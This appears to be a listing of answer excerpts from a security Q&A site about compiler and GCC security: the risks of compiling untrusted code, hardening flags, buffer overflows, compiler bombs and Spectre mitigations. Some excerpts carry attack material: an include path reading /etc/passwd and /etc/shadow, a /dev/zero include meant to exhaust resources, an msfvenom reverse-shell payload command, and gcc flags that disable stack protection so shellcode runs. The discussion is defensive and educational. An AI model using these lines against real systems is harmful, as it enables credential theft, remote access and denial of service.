95
A bit of a weird one, but: it's a denial-of-service risk, or potential information disclosure.
Because C's preprocessor will cheerfully include any file specified in an #include directive, somebody can #include "../../../../../../../../../../dev/zero" and the preprocessor will try to read to the end of /dev/zero (good luck).
Similarly, especially if you ...
51
I don't code for gcc, so hopefully someone else can add to this, or correct me. I'll edit it with responses. Some of these will not work for all circumstances.
-Wall -Wextra Turn on all warnings to help ensure the underlying code is secure.
-Wconversion -Wsign-conversionWarn on unsign/sign conversion.
-Wformat-securityWarn about uses of format functions ...
41
Compiler bombs
C is a very powerful language, and some of the terrible things you can do with it would shock you. For example, you can create a 16 byte C program that takes 27 minutes to compile, and when it finally finishes, it compiles to a 16 Gigabyte executable file. And that's only using 16 bytes. When you factor in the preprocessor and larger source ...
28
@AndréBorie is correct. Compilers and the corresponding configuration will not be well vetted for security issues, so generally speaking you should not compile untrusted code.
The risk is that a buffer overflow or some type of library execution vulnerability is exploited, and the attacker gains access to the (hopefully non-root!) user account that ran the ...
14
Yes, it's dangerous: but as people have said it's possible to do. I'm the author and maintainer of the online compilers at https://gcc.godbolt.org/, and I've found it pretty workable to make it safe using a combination of:
The whole site runs on a VM instance with little permissions to do anything. The networking is severely limited with only port 80 ...
13
While the accepted answer is correct in suggesting moving everything to a different function does not explain why.
As you can see in this question and answer main() functions often perform a stack alignment to ensure that the stack is setup properly. The following instruction is performed:
83 e4 f0 and esp, 0xfffffff0
This will align ...
12
You would not want to be running the compiler as root, though I have seen this happen for "ease and convenience" reasons. It would be all too easy for an attacker to include something like:
#include "../../../../etc/passwd"
#include "../../../../etc/shadow"
and get the contents of these files back as part of the compiler error message.
Also compilers are ...
9
The attack is not stack overflow, but buffer overflow (the buffer being possibly located on the stack). The stack is a RAM area which applications use to store local variables and to organize the calling and returning from functions. A stack overflow is when the application code has gone way too recursive, and runs out of stack space. Since the kernel keeps ...
7
It is not only possible, it has been documented several times in the past.
http://www.cvedetails.com/vulnerability-list/vendor_id-72/product_id-960/GNU-GCC.html
For example, http://www.cvedetails.com/cve/CVE-2008-1367/ shows a memory corruption attack that could lead to various types of compromise, if they were sufficiently exploited.
A compiler is just ...
6
In the proposed example, the program is executing a nop sled consisting of \x90. After this nop sled executes, it does not return to main, and therefore crashes with a Segmentation fault.
Consider learning more assembler, and most importantly, use GDB to debug segmentation faults.
6
The compiler itself is irrelevant; the rand() function is implemented in libc.
The glibc implementation uses a linear congruential generator (LCG) or a linear feedback shift register (LFSR) for its rand(). These can be quite easily cracked given some of the outputs (which it seems you have). The details can be found in the answer to another question already ...
5
In a classical stack overflow attack the attacker manages to place its own code (processor instructions) on the stack by overflowing some stack based data structures with attacker controlled content. Now, the attacker needs to have this content on the stack to be taken as instructions by the processor and get it executed. But, the processor will only execute ...
4
Its all in the source! Gentoo hardened is an security driven distro the hardened profile really packs a great deal into making it really secure.
But is it worth the compile? A big question among the linux forums.
Lets look at Gentoo hardened profile in terms of security:
while it adds some security
it's so little that it's not worth it in most cases. ...
4
Your example does segfault here (or cause the program termination if the stack protector is active).
Maybe you should try to move the buffer overflow into another function. Perhaps your gcc version is converting return 0; from main into exit(0);.
4
At least C++ compilation is turing complete so it is possible/easy to produce infinite loop impacting system performance and producing infinite output (exhausting ram and/or disk place).
More info on how C++ compilation is turing complete : https://stackoverflow.com/questions/189172/c-templates-turing-complete
4
Those are good options, but you need to pay attention to your own source code.
Make sure to use secure function when dealing with user inputs, filter them and when you use something like strncpy(), try not to give a lot of space to prevent certain attacks.
OS itself provides security i.e. DEP (NX), ASLR and canaries to protect the stack, but you can't rely ...
4
Security is always a balance between ease of use and protection. The most secure system I can imagine is a switched off computer lying in a bank safe. Unfortunately it is also hard to use... Removing compilers or worse restricting them to root on a test or dev system would be nonsense: either you can no longer use it, or you will always log in as root. ...
4
Should you recompile your software with these flags enabled? In general, no.
Most software used by the average person is not seriously threatened by Spectre. It's a very difficult attack to pull off, and requires that the attacker already be able to run arbitrary code on your computer. Additionally, Phoronix's benchmarking shows there can be a ...
3
If you allow an user to provide an archive containing the code you can have issues, not exactly with the compiler but the linker it uses ;)
ld follows symbolic links if they point to a file that do not exist. What it means is that if you compile test.c to the output a.out but already have a symbolic link named a.out in your directory pointing to a non-...
2
Your exploit needs page.h header file.
You must install linux header package.
asm/page.h is available in linux header package
linux-headers 3.11.6-1 File List :
.
.
.
usr/src/linux-3.11.6-1-ARCH/arch/x86/include/asm/numaq.h
usr/src/linux-3.11.6-1-ARCH/arch/x86/include/asm/olpc.h
usr/src/linux-3.11.6-1-ARCH/arch/x86/include/asm/olpc_ofw.h ...
2
There is a benefit from doing this. These options enabled retpoline to mitigate Spectre V2. This is important in programs which handle sensitive or confidential data where the variable performance impact is not a concern. The binary is different because return trampolines are being added to the code.
The second flag, -mfunction-return, is required on ...
2
you can check if a binary is compiled with
PIE
stack protection
fortify source
RO relocations
Immediate binding
by using hardening-check. E.g. hardening-check $(which sshd)
Package devscripts contains the hardening-check
On Debian testing i get the following output:
root@root:~# hardening-check $(which sshd)
/usr/sbin/sshd
Position Independent ...
1
The DirtyCOW PoC page contains a list of proof of concept exploits, including several that do not require GCC. There is one written in Go and even one which requires only an assembler. You can also analyze how the exploit works and implement it yourself in whatever language is available to you.
1
The OS and the compiler does two things to prevent BOF.
The OS deny's to execute code stored in the stack(it only allows the CPU to execute instructions stored in .text section) but you are injecting your malicious code in the stack, so you can disable this option by specifying -z execstack.
The compiler adds a secret int variable(guard) before vulnerable ...
1
Looks like it was added:
https://gcc.gnu.org/ml/gcc-patches/2015-11/msg01773.html
I don't know if more was added later: but I think this code just looks for an instruction that can be re-interpreted as a return.
1
Unfortunately, there exists no single standard for assembly language files.
(While the instructions are obviously part of the ISA, the specific syntax of the files and particularly the features like extrn are specific to each assembler.) To compile this on linux, you would need to adjust the syntax of the assembly source to use nasm or gas syntax. The ...
1
First of all, your shell.c code is right.
The problem is that you are executing an exploit generated for Windows platform, as you can see:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=7878 -f c -o shell.c
If your target is Windows, the format file output need to be executable file -f exe. I recommend using the -b '\x00' to ...
1
I suppose you need to compile the code disabling the stack protections. For example, try in this way:
gcc -g -fno-stack-protector -zexecstack -o vuln vuln.c
-g (enable debugging information)
-f no-stack-protector (disable extra code to check buffer overflow)
-z execstack (make the stack executable... where your shellcode will be)
1
From a hacker/pentester perspective, I can say that having a compiler on a target machine and/or python/ruby can be very very useful. So I agree with one of the previous answers that removing it from a production server increases security. However, those tools are only useful for attackers who already have a limited shell on your system. In that case, you ...
1
Google says:
In order to generate random-like numbers, srand is usually initialized to some distinctive runtime value, like the value returned by function time (declared in header <ctime\>). This is distinctive enough for most trivial randomization needs.
If this technique is used and you know a more or less close estimate of the time (like, if you ...
Only top voted, non community-wiki answers of a minimum length are eligible
